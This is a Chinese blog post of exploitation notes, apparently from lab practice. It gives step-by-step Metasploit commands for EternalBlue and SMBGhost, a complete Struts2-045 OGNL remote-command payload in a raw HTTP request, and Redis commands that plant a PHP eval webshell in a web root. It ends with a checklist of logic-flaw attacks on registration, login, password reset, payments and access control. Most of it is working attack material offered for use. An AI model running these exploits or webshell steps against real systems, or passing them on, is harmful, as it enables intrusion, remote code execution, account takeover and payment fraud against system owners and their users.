首页 > 其他分享 >经典漏洞利用

经典漏洞利用

时间:2024-09-12 17:04:34浏览次数:6  
标签:尝试 利用 redis 验证码 192.168 用户 Content 漏洞 经典

windows

1. 永恒之蓝(MS17-010)漏洞利用

windows XP 445端口

nmap扫描:

nmap --script smb-vuln-ms17-010.nse 192.168.29.131

利用:

msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.29.131
set lhost 192.168.29.129
run

2. 永恒之黑(CVE-2020-0796)漏洞利用

windows 10

nmap检测脚本

https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse

nmap扫描:

nmap --script CVE-2020-0796 192.168.29.133

生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python

#-p windows/x64/meterpreter/bind_tcp 设置payload为windows64位meterpreter控制台下的正向连接
#LPORT=6666 设置开发端口为6666
#-b '\x00' 设置在生成的程序中避免出现'\x00'
#-i 1 设置编码次数为一次
#-f python 设置生成python格式文件

下载POC

https://github.com/chompie1337/SMBGhost_RCE_PoC

将生成的buf加入文件,并搜索USER_PAYLOAD,将"KERNEL_SHELLCODE += USER_PAYLOAD"改为"KERNEL_SHELLCODE += buf"

开启msf监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.29.133
run

运行exp

python3 exploit.py -ip 192.168.29.133

最后一步按回车执行shellcode,然后在监听端就可以getshell

(不稳定,很容易打蓝屏,win10一旦被打蓝屏就会自动更新,修复漏洞,需要用快照恢复)

Struts2

1. Struts2-045(CVE-2017-5638)

Struts 2.3.5–Struts 2.3.31;Struts 2.5–Struts 2.5.10

Struts2在判断请求的Content-Type不正确时会抛出异常,并且在异常中会带上Content-Type属性值。

而基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)请求时会对异常进行捕获,并对异常信息进行OGNL表达式处理。

因此在Content-Type属性中构造OGNL表达式就可以导致远程代码执行。

POC:

Content-Type:%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

struts2上传时抓包,将Content-Type值改为payload:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 344
Origin: http://localhost:8080
DNT: 1
Connection: close
Referer: http://localhost:8080/struts2-showcase/fileupload/upload.action
Cookie: JSESSIONID=FDB26033D44E55EE030219CD481B6FD2; JSESSIONID=E451583867B41DAEA1F392058BEB8EBE
Upgrade-Insecure-Requests: 1

-----------------------------848318764455778412216306604
Content-Disposition: form-data; name="upload"; filename="123.md"
Content-Type: application/octet-stream

123456
-----------------------------848318764455778412216306604
Content-Disposition: form-data; name="caption"

-----------------------------848318764455778412216306604--

redis

1. redis未授权访问漏洞

由于redis服务器没有设置密码,导致可以任意访问。

可以获取或设置redis变量,改变rdb文件路径和文件名,从而可向任何文件写入数据。

需要redis服务器关闭保护模式,允许外部ip访问,设置节点可写操作,要写入文件必须redis-server以root权限启动。

(1)可向网站根目录文件写入webshell

连接服务器后,设置一个redis变量为webshell,将rdb文件指定为网站根目录中的文件,然后执行save将所有redis变量写入该文件中。

$ redis-cli -h 192.168.29.130 #连接redis服务器
192.168.29.130:6379> set . "\n\n<?php @eval($_POST[cmd]);?>\n\n" #设置变量.为php一句话木马,前后加换行
OK
192.168.29.130:6379> config set dir /var/www/html #设置rdb文件目录为网站根目录
OK
192.168.29.130:6379> config set dbfilename phpinfo.php #设置rdb文件名为phpinfo.php(文件不存在会自动创建)
OK
192.168.29.130:6379> save #将当前redis实例的所有数据快照以rdb文件的形式保存到硬盘(需要redis-server以root权限启动)
OK

apache

Superset

CVE-2023-27524

Apache Superset <= 2.0.1

未授权访问漏洞

逻辑漏洞

1. 注册

前端验证

查看是否能修改前端,绕过限制。

用burp抓包,查看每个返回包是否有true、false等判断参数,尝试将false改为true,绕过验证码等限制。(若只在前端判断,则会存在此漏洞)

尝试是否能重复注册,可将任意账户重置。

手机验证码注册

若验证码无有效期,或有效期过长,可尝试爆破验证码。

在验证码正确情况下,尝试修改发送包的手机号。(没有将验证码与手机号匹配,会造成任意用户注册)

burp抓发送短信验证码的包,尝试连续重放,若手机能收到多条短信,则存在短信轰炸。(后端没有限制对同一手机号的发送时间间隔)

查看发送验证码短信后,是否有包含验证码的数据包发到前端。(有些使用前端验证,在生成验证码后会同时发送到手机和前端)

2. 登陆

前端验证

burp抓包,查看返回包中是否有true、false等判断,尝试将false改为true,造成任意用户登录。

登陆成功时,查看返回包中是否有用户id等(或token),尝试任意用户登录。

手机验证码登陆

若验证码无有效期,可尝试爆破,造成任意用户登陆。

正确验证码时,尝试修改发送包的手机号,任意用户登陆。

尝试重发发送短信包,短信轰炸。

查看发送验证码短信后,是否有包含验证码的数据包发到前端。

3. 找回密码

前端验证

burp抓包,查看返回包中是否有判断参数,尝试修改判断参数,造成任意用户密码修改。

验证成功时,查看返回包中是否有用户id(或token),尝试任意用户密码修改。

手机验证码找回

若验证码无有效期,可尝试爆破,造成任意用户密码修改

正确验证码时,尝试修改发送包的手机号,任意用户密码修改。

尝试重发发送短信包,短信轰炸。

查看发送验证码短信后,是否有包含验证码的数据包发到前端。

邮箱找回

构造链接修改用户参数(token等)

4. 支付与越权

支付

提交订单或者结算时,修改商品id,数量,金额,订单号等参数。

直接修改前端,修改订单金额,如form表单的value值。

获取支付成功的数据包,将另一个订单提交时的参数填入,提交。

越权

登陆时修改身份标识。

查看自己信息时抓包,将用户标识替换为另一个账号。(另一个账号的标识可以从注册、密码找回、用户信息等地方找)

修改账户信息时抓包,将用户标识替换为另一个账号。

登陆成功时查看是否有返回当前用户敏感信息的json,将用户标识换成另一个账号。

查看是否有访问控制,如直接进入管理员页面,任意下载文件,

标签:尝试,利用,redis,验证码,192.168,用户,Content,漏洞,经典
From: https://www.cnblogs.com/lnjoy/p/18410620

相关文章

  • 如何利用大数据与AI技术来进行足球预测?
    福尔特博·普利迪特曾经说过:“球无假球,盘皆假盘,信息的不对称才是造成贫富差距的根本原因。”在过往,数据信息的缺乏一直都是制约足球预测的掣肘,但现如今我们迎来了大数据与AI的时代,我们又能否借此来解决足球预测的困境呢?......
  • python利用matplot绘制横向条形图,并调整每个条形的位置
    通过color_x和t_x控制每个条形的颜色和文本,draw_mybar里的y和left可以控制条形显示的位置。importmatplotlib.pyplotaspltimportnumpyasnp#数据设置categories=["A","B","C","D"]color_1="#9dc3e4"color_2="#f8cbbd"color_3=......
  • Apache OFBiz远程代码执行漏洞(CVE-2024-38856)
    漏洞简介ApacheOFBiz是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。ApacheOFBiz基于Java开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的......
  • 程序员副业推荐专题—如果利用AI来翻译原版英文编程书籍
    一、准备工作获取原版英文编程书籍:可以从电子书商店(如AmazonKindleStore)购买电子书版本,或者从图书馆、书店等获取实体书。如果书籍有电子版,特别是EPUB、MOBI等格式,将更方便后续处理。选择AI翻译工具:市场上有多种AI翻译工具可供选择,如DeepL、GoogleTranslate......
  • 程序员副业推荐专题—如果利用AI来撰写歌词和谱曲
    1,选择AI工具:创作过程:歌词创作:在AI歌词创作工具中输入关键词或主题,AI会生成初步的歌词。用户可以根据需要对歌词进行修改和优化,或者利用AI提供的多个选项进行选择和调整。谱曲:在选定歌词后,利用AI音乐创作平台选择喜欢的音乐风格或旋律,输入歌词后生成歌曲。用户同样可以......
  • 【数据分析】利用Python+AI+工作流实现自动化数据分析-全流程讲解
    文章目录一、为什么要用AI进行自动化分析?二、AI自动化分析场景三、编写Python脚本示例1、用flask实现让AI分析数据内容使用说明:示例2、用定时任务的方式,定时处理AI数据......
  • nacos未授权访问漏洞,导致被网警找
    背景只做简短汇总,记录一下公司收购了另一家公司,所以相应的后端服务和服务器都交给我管理,但是没有任何的交接文档,大概看了一下代码,依赖的东西就去忙别的了。直到今天网警突然打电话给我说系统有漏洞(CVE-2021-29441),并且给出了访问地址好家伙,直接能看到用户名和密码,岂不是暴力破......
  • 技术深度剖析:ZK 除法中 “Divide and Conquer” 潜藏的漏洞
    在探讨这个主题之前,我们先来了解一下什么是ZK除法以及“DivideandConquer”(分治算法)的基本概念。ZK除法通常是指在零知识证明(Zero-KnowledgeProof,ZK)环境下进行的除法运算。零知识证明是一种密码学技术,允许一方(证明者)向另一方(验证者)证明某个陈述是真实的,而不透露除了该......
  • 利用AI驱动智能BI数据可视化-深度评测Amazon Quicksight(三)
    简介随着生成式人工智能的兴起,传统的BI报表功能已经无法满足用户对于自动化和智能化的需求,今天我们将介绍亚马逊云科技平台上的AI驱动数据可视化神器–Quicksight,利用生成式AI的能力来加速业务决策,从而提高业务生产力。借助Quicksight中集成的AmazonQ的创作功能,业务分析......
  • fastjson1.2.24反序列化漏洞复现 CVE-2017-18349
    1.准备:1.1复现环境漏洞环境:vulnhub靶场工具准备:jdk8,apache-maven-3.9.9,kali2024.1,MarshalSec1.2环境启动进入vulnhub目录下的fastjson目录,进入CVE-2017-18349目录cd/home/hbesljx/vulhub/fastjson/1.2.24-rcedocker-compoe启动漏洞环境docker-composeup-d访问靶机......